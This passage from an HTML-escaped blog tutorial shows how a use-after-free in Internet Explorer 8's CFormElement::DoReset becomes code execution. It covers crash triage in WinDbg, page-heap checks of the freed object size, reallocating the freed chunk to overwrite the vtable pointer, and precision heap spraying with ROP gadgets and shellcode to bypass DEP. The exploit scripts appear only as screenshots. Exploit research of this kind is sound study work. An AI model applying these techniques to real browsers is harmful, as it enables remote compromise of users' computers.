&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0gzqbGsvwWMArcpxlJ-4z-BsBJwromK2LKvSKqhRcj5qd46vi4d65SpsddBnQWRo7RTJykHuSNpjYqoiWD7w7TLsrllxcEs7uLceTvWk114SrrRXb4wft7T7YwJo8mzyPQgL_m3FkISg/s1600/3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;545&quot; data-original-width=&quot;1143&quot; height=&quot;190&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0gzqbGsvwWMArcpxlJ-4z-BsBJwromK2LKvSKqhRcj5qd46vi4d65SpsddBnQWRo7RTJykHuSNpjYqoiWD7w7TLsrllxcEs7uLceTvWk114SrrRXb4wft7T7YwJo8mzyPQgL_m3FkISg/s400/3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next step is to check the call stack and see if we can dig out some more details on the crash.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgleN36grO5pKpvec2gi3iOBNZdyc-avjELVVDMNWJaWQiQ3KQzgOx6p6jXrL13bwiTNaYv_DY7G3wGc9yfd2o4_IHvKWfafMw5Du2Okkw9h6qzjGXA35ghdeEyF_Cz9tFP7T2SgJ4ft1Q/s1600/5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;474&quot; data-original-width=&quot;1172&quot; height=&quot;161&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgleN36grO5pKpvec2gi3iOBNZdyc-avjELVVDMNWJaWQiQ3KQzgOx6p6jXrL13bwiTNaYv_DY7G3wGc9yfd2o4_IHvKWfafMw5Du2Okkw9h6qzjGXA35ghdeEyF_Cz9tFP7T2SgJ4ft1Q/s400/5.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Highlighted portion in the above call stack apparently shows that IE crashed while executing CFormElement::DoReset( ) function. If we disassemble at the Return Address 0x665a1742, it would look following.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-iVctajYnyAXins1PbcVrELdUF05LtXf40LyLEFmfhkE0YX6_DOePRY1gH5mGw0DT4ptrh8qYCndPwVMDU1ofCnEJDVNj7TwjDJEukfaqgJ4svJzxxP2YbeoF7sER3ml4_RD83V4AUk4/s1600/6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;326&quot; data-original-width=&quot;1050&quot; height=&quot;123&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-iVctajYnyAXins1PbcVrELdUF05LtXf40LyLEFmfhkE0YX6_DOePRY1gH5mGw0DT4ptrh8qYCndPwVMDU1ofCnEJDVNj7TwjDJEukfaqgJ4svJzxxP2YbeoF7sER3ml4_RD83V4AUk4/s400/6.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seemingly, we can see that crash happened while calling the virtual method. ESI was pointing to the object memory in the heap. In the first &quot;mov&quot; instruction the Virtual Function table pointer was moved to EAX after which IE was attempting to call the virtual method at the offset 1CC into the virtual function table during which it crashed since code cannot be disassembled at that memory address. This is the classic case of Use-After-Free vulnerability where the object was freed previously and ESI register was pointing to the freed memory which was 0x60 ( 96 ) bytes in size . We can confirm it from the below debugger screenshot.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAew63cpvtXURe_AkbFOgR8qvfWoWxYUHs9Cj4BDU194lSYFmikAeylkmErLPHPr5YkgcM3zhrFvBAs9tunnI5or7D11QrUwLmF61T77Ro9khAoNRlVDzeJNdz5MXF6yfTPr0IZvjX_14/s1600/4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;306&quot; data-original-width=&quot;1070&quot; height=&quot;113&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAew63cpvtXURe_AkbFOgR8qvfWoWxYUHs9Cj4BDU194lSYFmikAeylkmErLPHPr5YkgcM3zhrFvBAs9tunnI5or7D11QrUwLmF61T77Ro9khAoNRlVDzeJNdz5MXF6yfTPr0IZvjX_14/s400/4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To further validate our observation,&amp;nbsp; we can enable the page heap and user stack trace and see if it crashes again at the &quot;call&quot; instruction. Page heap will enable us to track all the heap allocations, chunk sizes and also track the freed up memory. Let&#39;s enable the page heap using gflags.exe and re-run the exploit to check if it crashes again at the same point.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2FOfqbxlNpD6HYl8NSpLWzRkFPh4gICZE-iJNlAJLZ1eAMguVJUa5_OihFwv_vVxruZDzQXIkIKnTcxH_AtOFdH6IETd0wPkkYc25RczTEoirbhbQC84UKtnnB7jfcnBq874y0tNA6_4/s1600/7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;551&quot; data-original-width=&quot;790&quot; height=&quot;278&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2FOfqbxlNpD6HYl8NSpLWzRkFPh4gICZE-iJNlAJLZ1eAMguVJUa5_OihFwv_vVxruZDzQXIkIKnTcxH_AtOFdH6IETd0wPkkYc25RczTEoirbhbQC84UKtnnB7jfcnBq874y0tNA6_4/s400/7.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Below is what I hit after enabling the page heap.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM5TclNV-Kpy9XYXCdtI4IP4L4eI7ji5bIHRXQJX2gGxyJT-jgERd_zvrCwzsvUKtomed3eJGoAXXiEj12OnInnd13Lqj7Bxaik0YphT93ciyS0GLIWkDxXYdKL0dbi30V_yaM_TDqfS0/s1600/8.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;481&quot; data-original-width=&quot;1070&quot; height=&quot;178&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM5TclNV-Kpy9XYXCdtI4IP4L4eI7ji5bIHRXQJX2gGxyJT-jgERd_zvrCwzsvUKtomed3eJGoAXXiEj12OnInnd13Lqj7Bxaik0YphT93ciyS0GLIWkDxXYdKL0dbi30V_yaM_TDqfS0/s400/8.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This is exactly what we expected. Apparently, IE8 crashed again at the &quot;call&quot; instruction while attempting to execute the virtual function method. Ggflags.exe keeps track of all the freed heap chunks and fills it up by 0xf0f0f0f0 which is used in the following call instruction to access the offset 1CC into the VFtable and then crashes. Disassembly at the crash location is following:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-Jh12Ev5zIvdRBrImdV3cofsqfWOpHx8J0s-G6xpHa1xb4gQpkmT-fqssa5-d_B4DededPgY5BmusS10C6dwvtNTWDJ137Gqz1W-pUxce8A4W4JoDAiiRc_r64XKVaf0o3GP8C8-lVjo/s1600/11.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;149&quot; data-original-width=&quot;742&quot; height=&quot;80&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-Jh12Ev5zIvdRBrImdV3cofsqfWOpHx8J0s-G6xpHa1xb4gQpkmT-fqssa5-d_B4DededPgY5BmusS10C6dwvtNTWDJ137Gqz1W-pUxce8A4W4JoDAiiRc_r64XKVaf0o3GP8C8-lVjo/s400/11.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following shows where the ESI and VFTable pointer was pointing to when the call was executed.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijeVELPRRr-ux5NF073RBBjyW0OPs5tVcRM205-cUSyPolfTi0NQc7lGQRdTmDCMkG8eOL5kEGvXHuHbQhGaUnPypDDCndLh9ldzKLqV55wLPc9yjYZKAdwM4AKb3B80KKjaPwBxA2iD4/s1600/9.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;493&quot; data-original-width=&quot;613&quot; height=&quot;321&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijeVELPRRr-ux5NF073RBBjyW0OPs5tVcRM205-cUSyPolfTi0NQc7lGQRdTmDCMkG8eOL5kEGvXHuHbQhGaUnPypDDCndLh9ldzKLqV55wLPc9yjYZKAdwM4AKb3B80KKjaPwBxA2iD4/s400/9.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Page heap will also allow us to visualize when the heap memory was freed and what was the size of the freed heap chunk. Take a look at this below screenshot especially the highlighted portion. This validates our conclusion.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6oF1agsP9V2HtDdH27JvFWGvja8xsm34ARnFW7FCspAHD9reCAzHa6HrvZr171W03BChbqJ_l3O864SuHvuEgTDlIXHaqy1e6FUfH4PDSmt_ecnlU4guhjkIrRXlhuW2-mp1IQDdlMt4/s1600/10.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;523&quot; data-original-width=&quot;1070&quot; height=&quot;195&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6oF1agsP9V2HtDdH27JvFWGvja8xsm34ARnFW7FCspAHD9reCAzHa6HrvZr171W03BChbqJ_l3O864SuHvuEgTDlIXHaqy1e6FUfH4PDSmt_ecnlU4guhjkIrRXlhuW2-mp1IQDdlMt4/s400/10.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Another way to figure out the size of the freed object is to disassemble the mshtml.dll. There would be a constructor allocating the memory using HeapAlloc( ) and we can check the size of the allocated chunk as shown below.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio_JHCAHYNcnkVqjKXomewZWoMfAe0sdwMNJIpQjq7dIcBu4OdcXwBKLwqUMoOkLu2YkV_n-MaNnyN0e1XawVbyFYIYP0OcCDpEXunWM7PaoH4-wpvuccxdL6ieTUOYzWvr2Neq9vrFOg/s1600/12.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;508&quot; data-original-width=&quot;1600&quot; height=&quot;126&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio_JHCAHYNcnkVqjKXomewZWoMfAe0sdwMNJIpQjq7dIcBu4OdcXwBKLwqUMoOkLu2YkV_n-MaNnyN0e1XawVbyFYIYP0OcCDpEXunWM7PaoH4-wpvuccxdL6ieTUOYzWvr2Neq9vrFOg/s400/12.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next, If we can craft the exploit code in such a way that we make IE to reallocate the same freed memory with our controlled data, then essentially it would mean that we will be able to control the &quot;Call&quot; destination which consequently will lead to remote code execution. With our previous analysis, we already have the information on what should be the size of the heap memory that needs to be allocated. We can force Internet Explorer to re-allocate the same memory if we create the fake object of the same size ( 0x60 bytes ).&lt;br /&gt;
&lt;br /&gt;
Before diving further, let&#39;s first briefly understand the concept of Low Fragmentation Heap ( LFH ) used for servicing the memory allocation requests in windows and Virtual Function method calls.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Low Fragmentation Heap&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
In Windows, when an application would request for certain size of the memory chunk, heap allocator will dynamically allocate the memory from the process heap and hand it over to the application for use. Later if the application no longer requires that chunk, it can free the allocated memory, after which the freed memory is tracked by the front-end cache manager. Since the application can request and free the memory as and when required, consequently the heap can be fragmented which is not the ideal condition. In order to minimize the heap fragmentation, cache manager will track the list of freed chunks and will allocate from the that list if possible.&lt;br /&gt;
&lt;br /&gt;
Low Fragmentation Heap in Windows is basically a heap allocation policy where, given the certain amount of memory allocation request of size X, it will try to allocate the memory of that same size contiguously. Now, there are multiple things coming out here in favour of the attacker.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;If the allocator is requested memory of size X, which it already finds in its free list of chunks, it would try to re-allocate the same memory chunk to the requesting application. This implies that if application frees certain chunk of memory and requests the same size of memory again, there is a high possibility that application will get the same memory chunk freed previously.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Additionally, this sort of allocation behavior will also make the heap allocations predictable. This essentially means that, if certain threshold number of allocations of size X is given to the heap allocator, all of these blocks will be allocated together and we are almost certain that attacker can place his controlled data to the heap address that he likes. For eg. 0x0c0c0c0c.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;b&gt;&lt;u&gt;Virtual Function method calls&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
In Object Oriented world, parent or a base class can supply the methods which can be overridden by the child or derived class in its definition. Until run time, compiler would not know if the method of the base class or the derived class is required to be called. To make this much simpler, objects would typically have first 4 bytes as the pointer to the Virtual Function table which is a pointer to the array of function pointers. Visualize the object&#39;s memory and virtual functions as below.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwytFojTQAE_QNr38df0ae1zRpVfPkuDDmaMzSztZgb7Vse6ftwU4QTRHRr5331cxvt185-SrYVWQVhACVdjM8e40UcEyJTEk2asRtv0DDtvmdoICUlgRhWRhTKe1fSnPGfGkiEANOvTQ/s1600/14.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;346&quot; data-original-width=&quot;1051&quot; height=&quot;130&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwytFojTQAE_QNr38df0ae1zRpVfPkuDDmaMzSztZgb7Vse6ftwU4QTRHRr5331cxvt185-SrYVWQVhACVdjM8e40UcEyJTEk2asRtv0DDtvmdoICUlgRhWRhTKe1fSnPGfGkiEANOvTQ/s400/14.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
In our analysis so far, We&#39;ve seen that we are getting the crash while calling the virtual function at address EAX+1CC, where EAX holds the pointer to the VFtable. Our idea is, if we can control the call to this destination by:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Creating the enough fake object allocations of the same size, thereby forcing the IE to re-allocate the same previously freed memory.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Create the fake virtual function table by allocating the large amount of heap memory with another object, thereby placing our controlled data [which will usually be the ROP gadgets], at the predictable address [ for Eg. 0x0c0c0c0c. I am just using this address as an example. We can use any other heap address like 0x0a0a0a0a, 0x0b0b0b0b etc. ].&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
If we can achieve both of these above mentioned conditions, we can do the arbitrary code execution. Now let&#39;s slightly modify the exploit code to see if we can achieve the first condition. We&#39;ll modify the changer( ) function in the exploit to perform good amount of fake object allocations and see that IE re-allocates the previously freed memory thereby corrupting the object&#39;s VPTR. In the below modified exploit code, we would attempt to overwrite the object&#39;s VPTR by 0x41414141, subsequently, the crash will happen while calling virtual method at address 0x41414141 + 0x1cc, which equals 0x4141430D.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_4MiBb_HViyoDq2ycRnH4UcNTRLpYHsnahEuY3XPLts4jXvKxozzm622HeSC8xl2SaU-vtJxsr_z2HV-Z7j3p9emP4ZzNhtiQ6fYJ_cqnzKP0_RZ4yINGg1OKB3ZYK2BIJ08XuFVsL6c/s1600/15.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;673&quot; data-original-width=&quot;1061&quot; height=&quot;252&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_4MiBb_HViyoDq2ycRnH4UcNTRLpYHsnahEuY3XPLts4jXvKxozzm622HeSC8xl2SaU-vtJxsr_z2HV-Z7j3p9emP4ZzNhtiQ6fYJ_cqnzKP0_RZ4yINGg1OKB3ZYK2BIJ08XuFVsL6c/s400/15.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Apparently, we created 0x1000 &quot;img&quot; elements and set the image&#39;s title to the 0x60 bytes ( including&amp;nbsp; 4 bytes of length and 2 bytes of null character. We need to use the unescape( ) here, else the string will be Unicode in the memory. If we re-launch IE with this exploit, we get the crash while calling the code at below address as expected.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhEF2fZmtV58DPpsrGtnAJefJomh7rhnrkc5cedFdU6P5370lykgU0MLA7__yuee79_myfDwQHnOKwqXEn7i9_ke80WrcAxwriDOVzBRAaZt-rRm0lRZM_fjt_0FnqZFYb-uBqwv3TAI4/s1600/13.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;603&quot; data-original-width=&quot;998&quot; height=&quot;241&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhEF2fZmtV58DPpsrGtnAJefJomh7rhnrkc5cedFdU6P5370lykgU0MLA7__yuee79_myfDwQHnOKwqXEn7i9_ke80WrcAxwriDOVzBRAaZt-rRm0lRZM_fjt_0FnqZFYb-uBqwv3TAI4/s400/13.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This validates our claim and we&#39;ve made IE to reallocate the previously freed memory and EAX holds the pointer to our fake virtual function table, which so far doesn&#39;t exist. Also, we are now certain that, we can corrupt the object VPTR and set it to something useful which we can control.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Precision Heap Spraying&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;
Precision Heap Spray relates to our second condition that we want to achieve. Essentially,&amp;nbsp; we need to fill up good amount of heap memory with attacker controlled data, which includes the ROP gadgets + Shellcode that needs to be executed. ROP gadgets will mark the area of the memory where the shellcode resides, as executable, bypassing DEP, and finally will execute it. One of the primary thing that needs to be done here is to allocate the heap with precision, such that our ROP chain will start exactly from the address 0x0C0C0C0C [given that we wish to control the data placed at that address].&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
Given above conditions, we will have to overwrite the object&#39;s VPTR with the 0x0C0C0A40. Our exploit plan will finally look like the below diagram.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyO3HBlx3tY2YUk_Myhdao4NdU-QhfT6fyWsFnktlyj6HVQbN-1AgZlZiTnAQ9n5Prv7wVgmau1W2QMZmp-nVl2E89YZuiQza4B4Z_0yxeWa5A78J-qrCart4JElj-JxOdNckRya0R58o/s1600/17.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;436&quot; data-original-width=&quot;687&quot; height=&quot;253&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyO3HBlx3tY2YUk_Myhdao4NdU-QhfT6fyWsFnktlyj6HVQbN-1AgZlZiTnAQ9n5Prv7wVgmau1W2QMZmp-nVl2E89YZuiQza4B4Z_0yxeWa5A78J-qrCart4JElj-JxOdNckRya0R58o/s400/17.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next, with the below basic heap spray script, we&#39;ll examine the allocations in Windbg and subsequently optimze the script to place our controlled data at the target address.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihNAlDcvr9EvxCbiV8SOvElCWTy95R1GcqxA5GaDferdnrCKoQ0rWygD0Yum3F6gU6G14e3Qp_I87iO5ZxhSzK2UxzQmzuU4YS7WLnvh9j7bXxzc9yem1zTb46ki_CQ6nqBBdJGKkunFc/s1600/18.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;705&quot; data-original-width=&quot;872&quot; height=&quot;322&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihNAlDcvr9EvxCbiV8SOvElCWTy95R1GcqxA5GaDferdnrCKoQ0rWygD0Yum3F6gU6G14e3Qp_I87iO5ZxhSzK2UxzQmzuU4YS7WLnvh9j7bXxzc9yem1zTb46ki_CQ6nqBBdJGKkunFc/s400/18.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
Looking this under Windbg, our allocations will come out to be like below. Apparently, the heap spray that we executed accounted for 98.8% of the memory which is a good indicator. Also check the size ( 0xfffe0 ) which confirms that it is the result of what we executed.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
